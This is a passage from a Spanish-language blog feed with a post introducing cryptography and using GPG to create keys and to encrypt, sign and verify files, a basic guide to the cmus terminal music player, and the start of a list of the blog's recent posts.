En siguientes entradas de esta serie sobre seguridad explicaré como crear certificados, SSL, servidores, firma digital con <a href="http://www.sinadura.net/es/">Sinadura</a>, <a href="http://elblogdepicodev.blogspot.com.es/2013/11/instalar-un-lector-de-tarjetas-inteligentes-en-arch-linux.html">smart cards en linux y DNIe</a>, ... y quizá alguna cosa más.<br />
<br />
<br />
Referencia:<br />
<a href="http://www.gnupg.org/">GnuPG</a> <br />
<a href="https://addons.mozilla.org/es/thunderbird/addon/enigmail/">https://addons.mozilla.org/es/thunderbird/addon/enigmail/ </a><br />
<a href="http://www.gpg4win.org/">http://www.gpg4win.org/</a><br />
<br />Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-78229479767508050112013-11-15T21:18:00.001+01:002018-08-19T13:55:26.089+02:00Introducción a la criptografía e inicio con GPG<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<div class="separator" style="clear: both; text-align: center;">
<img alt="GnuPG" border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzSN7akVNEKN2IvFpnZyxZoO9S_1oWa_suZ2BPHl6XzEuEvfTc59vM4wZdrpO47v0wkC5QkVnjxEadlTPVnfYU1l7bsEFjgQUFAkcYZ-2KQrzlOjPUov5Q-W7tDwSenNwGGCpZ9-4KJv55/s320/gnupg.png" title="GnuPG" width="320" /></div>
</div>
Internet está formado por una red de máquinas interconectadas que en conjunto permiten que un par de máquinas de esa red puedan comunicarse entre si aunque no estén directamente conectadas, el <a href="http://es.wikipedia.org/wiki/Transmission_Control_Protocol">protocolo TCP/IP</a> es el que posibilita esa comunicación. En la comunicación entre las máquinas que no están directamente conectadas la información de la máquina origen ha de ser transportada por un camino de varias máquinas hasta llegar a a la máquina destino y posteriormente de vuelta por el mismo camino u otro. En muchos casos la información que viaja a lo largo de ese camino de terceras máquinas no es relevante ni sensible pero en otros casos podemos necesitar o queremos evitar que esas terceras máquinas puedan acceder a la información que se está transmitiendo. En este último caso es donde entra en acción la criptografía.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTBp8aY9s-9iQO8vY-2fnl4tDFBoowen3PFtO3_lZPu9H0uTDuC5rjC249rfW3daMDqPlTLbi9hoT_WKm2nEA79ot9BHSW1w33kfArKw8gYy5c8tLN_X5rriMV_TevHiWU844r5vMEvSCR/s1600/internet-routing.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTBp8aY9s-9iQO8vY-2fnl4tDFBoowen3PFtO3_lZPu9H0uTDuC5rjC249rfW3daMDqPlTLbi9hoT_WKm2nEA79ot9BHSW1w33kfArKw8gYy5c8tLN_X5rriMV_TevHiWU844r5vMEvSCR/s320/internet-routing.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Diagrama de enrutadores en internet, cada elipse (roja) es un enrutador por el que pasa la información transmitida entre el cliente (verde) y el servidor (azul)</td></tr>
</tbody></table>
<br />
La criptografía nos permite que el contenido de un mensaje solo sea legible para el emisor y receptor, aunque los datos sean transportados por terceras máquinas solo verán datos ofuscados (o cifrados) a cuyo contenido no se les podrá dar ningún sentido ni interpretación. La criptografía proporciona las siguientes propiedades:
<br />
<ul>
<li>Confidencialidad: garantiza que el mensaje solo pueda ser leído por su destinatario.</li>
<li>Integridad: garantiza que el mensaje no ha sido modificado por un tercero.</li>
<li>Vinculación: trata de asociar el emisor con una clave.</li>
<li>Autenticación: consiste en garantizar que el mensaje ha sido emitido por un determinado agente.</li>
</ul>
Para conseguir estas propiedades la criptografía usa diversos elementos como algoritmos de cifrado simétricos, asimétricos o híbridos, claves privadas o claves públicas y privadas, certificados digitales, huellas y firmas digitales. Los algoritmos de cifrado son los que garantizan la propiedad de confidencialidad, tienen la propiedad de que una vez cifrado los datos es muy difícil o se necesita una cantidad de cómputo y tiempo muy elevada para descifrar el mensaje. Hay varios tipos.<br />
<br />
<h4>
Los algoritmos simétricos</h4>
Estos algoritmos utilizan la misma clave tanto para cifrar la información como para descifrarla. Son rápidos y a misma longitud de claves más seguros que los de clave asimétrica pero plantea el problema de como intercambiar la clave privada de forma segura a través de la red, para ello se usan los algoritmos asimétricos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG21gOvadkk9Bis6M1G4MHqnaP3i31GGnloHePR5oS3NAKsKLmhAoSyHmAVTwxqtm9OtuNthDJww5J_IEkJTZl_men7Que9aAgkchJhWwXahArLum0wyDDH1ZSUbLN0Tf20Y7SK7AKhci7/s1600/clave-simetrica.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="121" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG21gOvadkk9Bis6M1G4MHqnaP3i31GGnloHePR5oS3NAKsKLmhAoSyHmAVTwxqtm9OtuNthDJww5J_IEkJTZl_men7Que9aAgkchJhWwXahArLum0wyDDH1ZSUbLN0Tf20Y7SK7AKhci7/s320/clave-simetrica.png" width="320" /></a></div>
<br />
<br />
<h4>
Los algoritmos asimétricos o de clave pública y privada</h4>
Este tipo de algoritmos usan dos claves para realizar el proceso de cifrado. Cada usuario posee dos claves, una pública y otra privada. La clave pública de cada par de claves se puede compartir a cualquier otra persona, el que quiera enviarle un mensaje cifrado al propietario de esa clave pública lo cifrará con la clave pública, el mensaje solo puede ser descifrado con su clave privada asociada que solo conoce su propietario. De esta manera los algoritmos asimétricos evitan el problema de como compartir la clave de los algoritmos simétricos ya que en este par de claves hay una pública que puede ser compartida.<br />
<br />
<span id="goog_530299153"></span><span id="goog_530299154"></span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvYax8Wnyadfu4x-9qttB5_HJRincrej9dcTKGavZYnOkAUNKXFeepMsVCXLUXiBS1VQW2ixPJpiR91YEd-g94oGZ_bL2j5tXdiUGH2IiVmHdURqvzG8haNzHPHnwbhnUpI9boRnYke6_X/s1600/clave-asimetrica.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvYax8Wnyadfu4x-9qttB5_HJRincrej9dcTKGavZYnOkAUNKXFeepMsVCXLUXiBS1VQW2ixPJpiR91YEd-g94oGZ_bL2j5tXdiUGH2IiVmHdURqvzG8haNzHPHnwbhnUpI9boRnYke6_X/s320/clave-asimetrica.png" width="320" /></a></div>
<br />
Sin embargo, los algoritmos de clave pública y privada no solucionan todos los problemas de seguridad por si solos, está el problema de confianza en la clave pública, es decir, estar seguros de que la clave pública es realmente del destinatario al que pretendemos enviar un mensaje y no la de alguien que se ha colacado en medio del emisor y receptor con la intención de realizar un ataque «<a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">man-in-the-middle</a>». Para ello podemos confiar en una tercera parte en la que confiamos, si nosotros confiamos en esa autoridad y esa autoridad certifica que la clave pública es de quien dice ser podemos confiar en que el mensaje será solo legible por destinatario y propietario de esa clave pública, aquí es donde entran las <a href="http://en.wikipedia.org/wiki/Certificate_authority">autoridades de certificados</a>. Para certificar las claves públicas se emplean <a href="http://en.wikipedia.org/wiki/Public_key_certificate">certificados y firmas digitales</a>.<br />
<br />
<h4>
Los algorítmos híbridos</h4>
Este tipo de algoritmos aprovechan y combinan lo mejor de los algoritmos simétricos y asimétricos. Para cifrar un mensaje se genera una clave simétrica, se usa un algoritmo simétrico para cifrar el mensaje con la clave generada y la clave usada para cifrar el mensaje se cifra a su vez con la clave pública (algoritmo asimétrico) del destinatario. Posteriormente cuando el destinatario recibe el mensaje descifra con su clave privada la clave con la que fue cifrada el mensaje y con la clave descifrada usando el algorítmo simétrico se descifra el mensaje. En el siguiente esquema se puede apreciar el proceso:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjISrFo5OwMfI3o73pN4ls06jVt6uau_5BwtGce34ZC-PBdDhYh3uEBP5InMZgcjOCxYDu2BWXZLQQsuoqUyMusD3Kbw94TjTW-tIHm9SXwJWl0RUNK1q97TWSOllBB4vZlyD_OBWgcPlsQ/s1600/Diagrama+PGP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjISrFo5OwMfI3o73pN4ls06jVt6uau_5BwtGce34ZC-PBdDhYh3uEBP5InMZgcjOCxYDu2BWXZLQQsuoqUyMusD3Kbw94TjTW-tIHm9SXwJWl0RUNK1q97TWSOllBB4vZlyD_OBWgcPlsQ/s400/Diagrama+PGP.png" width="383" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<h4>
GPG (Gnu Privacy Guard)</h4>
Esa es la teoría básica, ahora veamos como utilizar <a href="http://www.gnupg.org/">GnuPG</a> que es una implementación libre de <a href="http://es.wikipedia.org/wiki/Pretty_Good_Privacy">PGP</a> (Pretty Good Privacy) y sacar provecho de esta entrada y la criptografía. Crearemos una clave pública y privada, cifraremos y descifraremos un archivo y verificaremos su integridad. A continuación los comandos en orden para generar el par de claves (se nos guiará en el proceso), ver su huella digital, exportar la clave pública y exportar la clave privada para conservarla en un archivo.<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-gen-key.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-gen-key.sh">gpg-gen-key.sh</a><br/></noscript>
El parámetro --armor sirve para codificar la salida en formato texto, con cualquier editor de texto podremos ver su contenido (aunque lo que veamos sea una sopa de letras). Este comando es combinable con otros con similar resultado. Entre usar o no usar armor depende de nuestras necesidades, sin --armor el resultado ocupa menos pero es dificilmente legible por un editor de texto y con --armor el resultado ocupa más pero es legible por un editor de texto.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoIoczoDtQbw5pl8LX5GuuNOtC4plsphJpa9-4u1WaesKYqogKhnhB8fRoHpUkwrdHxjSi1ROBPeoTVhAIQCg6fEdlqrw9cgE7RfLtAjJ-auPDoI5tMmRB6km0qK47ZCBYWwsxoiv-mnU9/s1600/gen-key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="879" data-original-width="737" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoIoczoDtQbw5pl8LX5GuuNOtC4plsphJpa9-4u1WaesKYqogKhnhB8fRoHpUkwrdHxjSi1ROBPeoTVhAIQCg6fEdlqrw9cgE7RfLtAjJ-auPDoI5tMmRB6km0qK47ZCBYWwsxoiv-mnU9/s320/gen-key.png" width="268" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Si enviamos la clave pública a un servidor de claves para que otros usuarios puedan descargarse nuestra clave y verificar los mensajes que enviamos es aconsejable generar un certificado de revocación para poder revocar la validez de la clave en caso de que su seguridad haya sido comprometida.<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-revoke.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-revoke.sh">gpg-revoke.sh</a><br/></noscript>
<b>Como cifrar un archivo con GPG</b><br />
Esto generará un archivo del mismo nombre que el que firmamos pero con
las extensión .gpg añadida al final, en este caso se generaría un
archivo de firma secret.zip.gpg (podemos usar el parámetro --armor y se
creará el archivo con extensión .asc). Con -r indicamos el destinatario del mensaje, necesitaremos su clave pública para cifrar el archivo y que solo el destinatario pueda descrifrarlo con su clave privada.<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-encrypt.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-encrypt.sh">gpg-encrypt.sh</a><br/></noscript>
<b>Como firmar un archivo con GPG</b><br />
Con -u indicamos la clave que realizará la firma. Si no necesitamos cifrar el archivo para garantizar su confidencialidad pero queremos garantizar que no es modificado hasta llegar al receptor y su origen, es decir queremos garantizar su integridad y autenticidad, podemos firmarlo digitalmente.<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-sign.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-sign.sh">gpg-sign.sh</a><br/></noscript>
<b>Como descifrar y verificar un archivo con GPG</b><br />
Para descrifrar un archivo:<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-decrypt.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-decrypt.sh">gpg-decrypt.sh</a><br/></noscript>
Si hacemos alguna modificación al archivo e intentamos descifrarlo veremos que el programa nos alerta de que el archivo ha sido modificado, tal como podría ocurrir si en la transmisión del mensaje hubiese sido interceptado y modificado. Para verificar la intergridad de un archivo hacemos:<br />
<br />
<script src="https://gist.github.com/picodotdev/7490710.js?file=gpg-verify.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/7490710/raw/gpg-verify.sh">gpg-verify.sh</a><br/></noscript>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm7ng92uO0TSW91ZC9g0ULmc2fout52zuVVLozCgKD_96eK5dmVF7PNmNrnGDcvdDFYoS8tDZXFG_4HFINqg21P8a4TngoS2LG6l_f5gO0FWkoEjslzsx7Cxv4X3fYS4GMztM7v-swmyLb/s1600/gpg-verify.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="159" data-original-width="737" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm7ng92uO0TSW91ZC9g0ULmc2fout52zuVVLozCgKD_96eK5dmVF7PNmNrnGDcvdDFYoS8tDZXFG_4HFINqg21P8a4TngoS2LG6l_f5gO0FWkoEjslzsx7Cxv4X3fYS4GMztM7v-swmyLb/s320/gpg-verify.png" width="320" /></a></div>
<br />
Para crear la clave también podemos emplear la aplicación Seahorse o Contraseñas y claves de <a href="http://www.gnome.org/">GNOME</a>. O si la hemos creado mediante comandos con GnuPG importarla en esta aplicación además de almacenarlas en un depósito seguro de claves. Usando Seahorse para generar una par de claves GnuPG no necesitamos usar la terminal y los comandos anteriores pero el proceso nos pide los mismos datos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9to4Wz-UKTB_k9uwAdTGc1DMDJ44Qj7Gqw7qr2gEtPD1juovxlrT98Nv21A2Sm47BCkPw7ADMUKLlAGoB_YLn5kzAcNcr8UjbTwmsWO8axnlh-axBKmm2GK4pXUURvj3brhVM3dTtLYZI/s1600/seahorse-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9to4Wz-UKTB_k9uwAdTGc1DMDJ44Qj7Gqw7qr2gEtPD1juovxlrT98Nv21A2Sm47BCkPw7ADMUKLlAGoB_YLn5kzAcNcr8UjbTwmsWO8axnlh-axBKmm2GK4pXUURvj3brhVM3dTtLYZI/s320/seahorse-1.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw-Xsw8XHHtMT7ZrtbN_POtF2iWmrgs0LT9HPCXi8tO2tWwvHIW2kU0FenUHjW_pE1hO6SbXjyYYPEBFeGmYGz1f3gqTPol15CdY79yxFuohs0msZGgF5XCvY1LdHieE71vKB91oWJbUV2/s1600/seahorse-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="408" data-original-width="707" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw-Xsw8XHHtMT7ZrtbN_POtF2iWmrgs0LT9HPCXi8tO2tWwvHIW2kU0FenUHjW_pE1hO6SbXjyYYPEBFeGmYGz1f3gqTPol15CdY79yxFuohs0msZGgF5XCvY1LdHieE71vKB91oWJbUV2/s320/seahorse-2.png" width="320" /></a></div>
<br />
Sehaorse también tiene opciones para importar y exportar las claves GnuPGP a y del anillo de claves.<br />
<br />
Aunque enviemos los datos cifrados y hagamos inaccesible el contenido no es sinónimo de privacidad, a veces saber simplemente que un mensaje se envío, a que hora, de que longitud, duración, tamaño, desde donde, a donde y a quien puede ser información suficiente para extraer conclusiones, patrones o sobre que trataba la información entre otras cosas, sino preguntarle a la <a href="http://www.nsa.gov/">NSA/CSS</a> que de esto saben bastante por las recientes informaciones de espionaje realizadas impunemente y en secreto por el gobierno de los EEUU, esa recolección ingente de datos son una muestra de ello.<br />
<br />
En siguientes entradas de esta serie sobre seguridad explicaré como configurar un gestor de correo electrónico (<a href="https://projects.gnome.org/evolution/">evolution</a>) para <a href="http://elblogdepicodev.blogspot.com.es/2013/11/como-usar-gpg-con-evolution.html">enviar mensajes de correo electrónico firmados o cifrados con las claves GPG</a> creadas con los comandos de esta entrada, certificados, SSL, servidores, firma digital con <a href="http://www.sinadura.net/es/">Sinadura</a>, <a href="http://elblogdepicodev.blogspot.com.es/2013/11/instalar-un-lector-de-tarjetas-inteligentes-en-arch-linux.html">smart cards en linux y DNIe</a>, ... y quizá alguna cosa más.<br />
<br />
Referencia:<br />
<a href="http://www.linux.com/learn/tutorials/760909-pgp-web-of-trust-core-concepts">PGP Web of Trust: Core Concepts Behind Trusted Communication </a> <br />
<a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa">Criptografía</a><br />
<a href="http://www.genbetadev.com/seguridad-informatica/manual-de-gpg-cifra-y-envia-datos-de-forma-segura">Manual de GPG: cifra, firma y envía datos de forma segura</a><br />
<a href="http://www.javacodegeeks.com/2013/10/getting-started-with-gnu-privacy-guard.html">Getting Started with GNU Privacy Guard</a><br />
<a href="http://www.gnupg.org/gph/es/manual.html">http://www.gnupg.org/gph/es/manual.html</a><br />
<a href="https://wiki.archlinux.org/index.php/GnuPG">https://wiki.archlinux.org/index.php/GnuPG</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-15878972201629853142013-09-13T17:39:00.002+02:002013-09-13T17:46:45.479+02:00Guía básica del reproductor de música cmus<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<span id="goog_1124824690"></span><span id="goog_1124824729"></span><span id="goog_1124824730"></span><img alt="cmus" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivDjOGZYxN_akWY2O2EZfdbLagMt1ONUk8de7teG2p4TJJRmyCnuhuLFsCbmCDrZwD5NNv-HE7geXeby6Haz3xoexHgjgD_Ajo3d7WJ5v4RBBacArcwj8-_xZfy0HHssV8TkUdADokSA-V/s1600/cmus.png" title="cmus" /><span id="goog_1124824691"></span></div>
A medida que paso más tiempo usando Linux cada vez más estoy usando y aprendiendo herramientas que funcionan desde la terminal. Por ejemplo, usando <a href="http://elblogdepicodev.blogspot.com.es/2012/09/guia-para-aprender-usar-vim.html">vim como editor de textos</a>, <a href="http://elblogdepicodev.blogspot.com.es/2012/11/convertir-imagenes-entre-formatos-y.html">algunas utilidades de ImageMagick para tratar imágenes de forma masiva</a> y <a href="http://elblogdepicodev.blogspot.com.es/2013/01/autenticacion-ssh-con-clave-privada-y.html">algunas otras utilidades como ssh</a>, tail, grep, <a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">screen</a>, cal, .... A veces usar estas herramientas es más cómodo, rápido y directo que usar un programa con interfaz gráfica como en el caso de ImageMagick pero otras es una necesidad como el uso que le doy a la Raspberry Pi.
<br />
<br />
Como la RPi la uso por SSH y sin interfaz gráfica necesitaba buscar un reproductor de música basado en una interfaz de texto, <a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">que permaneciese ejecutandose a pesar de termina<span id="goog_1124824713"></span><span id="goog_1124824714"></span>r la sesión ssh</a> y usable desde la terminal para reproducir música además de que consuma pocos recursos (ridículos comparados con cualquier programa gráfico). Después de una búsqueda en google y en la wiki de Arch Linux encontré <a href="http://cmus.sourceforge.net/">cmus</a> (C* Music Player). Y me ha parecido tan sencillo y bueno que se ha convertido en mi reproductor de música incluso en el ordenador personal que uso con interfaz gráfica, no necesito más que lo que ofrece, antes usaba <a href="http://banshee.fm/">Banshee</a> y anteriormente <a href="https://projects.gnome.org/rhythmbox/">Rhythmbox</a>.<br />
<br />
La dificultad de los programas o comandos basados en la consola es que suelen ser menos intuitivos que los que tienen interfaz gráfica para los usuarios nuevos de esos programas. A continuación explicaré el funcionamiento básico de cmus para que un usuario que esté buscando en este programa una alternativa al que usa ahora le sea más sencillo iniciarse y no abandone cmus por otra opción porque le cueste descubrir como conseguir con él lo que uno quiere. Primeramente deberemos instalar su paquete, en Arch Linux con:<br />
<br />
<script src="https://gist.github.com/picodotdev/6552216.js?file=install.sh"></script>
<noscript><a href="https://gist.github.com/picodotdev/6552216/raw/install.sh">install.sh</a><br/></noscript>
Nada más iniciar cmus nos encontraremos con una lista vacía de nuestra colección de música. Primeramente debemos conocer es que cmus se divide en varias pantallas (o tabuladores) que se acceden con las teclas:<br />
<ul>
<li>1 para Colección de música</li>
<li>2 para Librería de música</li>
<li>3 para Lista de reproducción</li>
<li>4 para Cola de reproducción</li>
<li>5 para Navegador de archivos</li>
<li>6 para Librería de filtros</li>
<li>7 para Configuración y referencia de teclas</li>
</ul>
Para añadir nuestra colección en música mp3 u ogg iremos al navegador de archivos, una vez que estamos en el directorio que contiene la música que queremos añadir pulsamos al tecla «<b>a</b>» sobre el directorio, cmus buscará de forma recursiva los archivos de esa carpeta. En la pestaña de la Colección de música veremos que ya contiene los archivos organizados por artista y álbum. Con las flechas «<b>arriba</b>» o «<b>k</b>» y «<b>abajo</b>» o «<b>j</b>» podemos cambiar de artista y con la tecla «<b>espacio</b>» podemos expandir un artista para ver cada unos de sus álbumes, con la tecla «<b>tabulador</b>» cambiamos entre el panel artista/álbum y track. Con la tecla «<b>retorno</b>» podemos reproducir un artista, álbum o pista dependiendo de donde este la selección o foco.<br />
<br />
Si queremos crear una lista de reproducción con música de varios artistas, álbumes o pistas estando en la Colección de música pulsaremos la tecla «<b>y</b>», con esta tecla la música se irá añadiendo a la Lista de reproducción. Estando en la Lista de reproducción podemos hacer que se reproduzca de forma aleatoria con la tecla «<b>s</b>» o de forma repetida «<b>r</b>», en la barra de estado en la parte inferior veremos las opciones que están activas (CRS). Con las tecla «<b>z</b>» podemos reproducir el elemento anterior de la lista, con la tecla «<b>x</b>» iniciamos la reproducción desde el inicio de la pista, con «<b>c</b>» pausamos/reiniciamos la reproducción, con «<b>v</b>» se detiene la reproducción y con «<b>b</b>» se reproduce el siguiente elemento de la lista. Todas estas teclas de reproducción están en la fila de abajo y todas seguidas en el teclado con lo que es cómodo usarlas y no muy complicado de recordarlas.<br />
<br />
Si queremos limpiar la Lista de reproducción o nuestra Colección de música podemos hacerlo individualmente sobre cada elemento con la tecla «<b>Supr</b>» o «<b>D</b>» (la mayúscula es importante) o con el comando :clear, los comandos de cmus funcionan de forma similar a como se trabaja con vim, primeramente pulsando «<b>:</b>» y luego introduciendo el comando y pulsando la tecla retorno. Para buscar una pista en la Librería de música pulsamos «<b>/</b>» seguido del término de la búsqueda, según vayamos escribiendo la lista se irá posicionando el el primer elemento encontrado, si queremos encontrar la siguiente coincidencia podemos hacerlo con la tecla «<b>n</b>» (al igual que con vim). Con los comandos «<b>:save</b> ~/playlist.pls» podemos guardar la lista de reproducción y con «<b>:load</b> ~/playlist.pls» cargarla.<br />
<br />
Con cmus también podemos <a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">reprod<span id="goog_1124824716"></span><span id="goog_1124824717"></span>ucir música o radios que emiten por internet</a>. En la siguiente página de manual sobre cmus de Ubuntu y en la referencia hay alguna opción más explicada.<br />
<br />
Finalmente, con la tecla «<b>q</b>» o comando «<b>:q</b>» podemos salir de cmus.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqf075xqnk5HymeC-T1DNBvt1sKhZ0Em0oNDNBcf7bhbMK1Cy0BMrOukqwrJpRIgirKKnJOiZmFFbB_hUovdJdCYCnkeLIouVBTMkK6CITo5xQo51NcaeKe3q-aVwfnJdDjKSDchYrH4Tq/s1600/cmus-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqf075xqnk5HymeC-T1DNBvt1sKhZ0Em0oNDNBcf7bhbMK1Cy0BMrOukqwrJpRIgirKKnJOiZmFFbB_hUovdJdCYCnkeLIouVBTMkK6CITo5xQo51NcaeKe3q-aVwfnJdDjKSDchYrH4Tq/s320/cmus-1.png" width="320" /></a></div>
<br />
Referencia:<br />
<a href="http://cmus.sourceforge.net/">http://cmus.sourceforge.net/</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">4 formas de escuchar música a través de internet</a>
<a href="http://tuxarena.blogspot.com.es/2009/04/cmus-review-great-ncurses-music-player.html">http://tuxarena.blogspot.com.es/2009/04/cmus-review-great-ncurses-music-player.html</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-34607076788481954962013-06-29T10:46:00.000+02:002013-06-29T10:54:49.094+02:00Hemeroteca #3<div class="separator" style="clear: both; text-align: center;">
<div imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img alt="El blog de pico.dev" border="0" height="44" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjptgi5QalEtBYcMnRHsBzuL1YUNSzxmhOJEw_8zIU9Fstoh9HwzqqnF-7lzrxgeCRf5YIAYXu_ehO64q8fWQctFnyc6g1MaeSWgYtjjOBlnbrIoCMMx-ROHqMs66fpHwClRUQvxuXnDSIr/s320/El+blog+de+picodev+%2528watermark%2529.png" title="El blog de pico.dev" width="320" /></div></div>
Mitad del año y otros seis meses más que han pasado, ya queda menos para las esperadas vacaciones ;). Como he empezado a hacer desde hace un tiempo en esta entrada quiero recapitular las 25 entradas que he escrito durante este primer semestre de 2013, una por semana publicada normalmente durante la tarde de los viernes. Esta será la cuarta Hemeroteca aunque lleve el número #3. Si te has suscrito a mi blog hace poco es buen momento para revisar alguna entrada anterior que he escrito y si hace un tiempo que estabas suscrito puedes releer alguna entrada que ya vistes y que en su momento te interesó o que por falta de tiempo dejaste de leer. Muchas de las entradas que he escrito durante este semestre han estado relacionados con la programación de una o de otra manera.<br />
<div>
<br />
<h4>
Varios</h4>
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/calendario-arch-linux-2013.html">Calendario Arch Linux 2013</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">4 formas de escuchar música a través de internet</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/02/reproductor-de-radios-jamendo-con-python.html">Reproductor de radios Jamendo con Python</a></div>
<div>
<br /></div>
<div>
<h4>
Linux</h4>
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/autenticacion-ssh-con-clave-privada-y.html">Autenticación SSH con clave privada y pública</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/05/copia-de-seguridad-con-rsync.html">Copia de seguridad con rsync</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">Dejar procesos vivos de conexión SSH con screen</a></div>
<div>
<br />
<h4>
Articulos sobre Apache Tapestry</h4>
En mi blog no podía faltar unas cuantas entradas sobre <a href="http://tapestry.apache.org/">Apache Tapestry</a> en las que he tratado asuntos importantes que toda aplicación debe abordar y que el framework empleado para desarrollar debe facilitar. Desde servicios REST pasando por la seguridad, persistencia en base de datos, una típico mantenimiento CRUD hasta pruebas unitarias y de integración.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/04/ejemplo-lista-de-tareas-con-backbone.html">Ejemplo lista de tareas con Backbone, RESTEasy y Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/05/seguridad-en-aplicacion-web-con-apache.html">Seguridad en aplicación web con Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/05/seguridad-en-aplicacion-web-con-apache-II.html">Seguridad en aplicación web con Apache Tapestry (II)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/06/persistencia-con-jpa-y-apache-tapestry.html">Persistencia con JPA y Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/06/mantenimiento-crud-en-apache-tapestry.html">Mantenimiento CRUD en Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/06/pruebas-unitarias-y-de-integracion-en-apache-tapestry.html">Pruebas unitarias y de integración en Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/03/skinning-de-web-usando-apache-tapestry.html">Skinning de web usando Apache Tapestry</a></div>
<div>
<br />
<h4>
Serie de artículos sobre Javascript</h4>
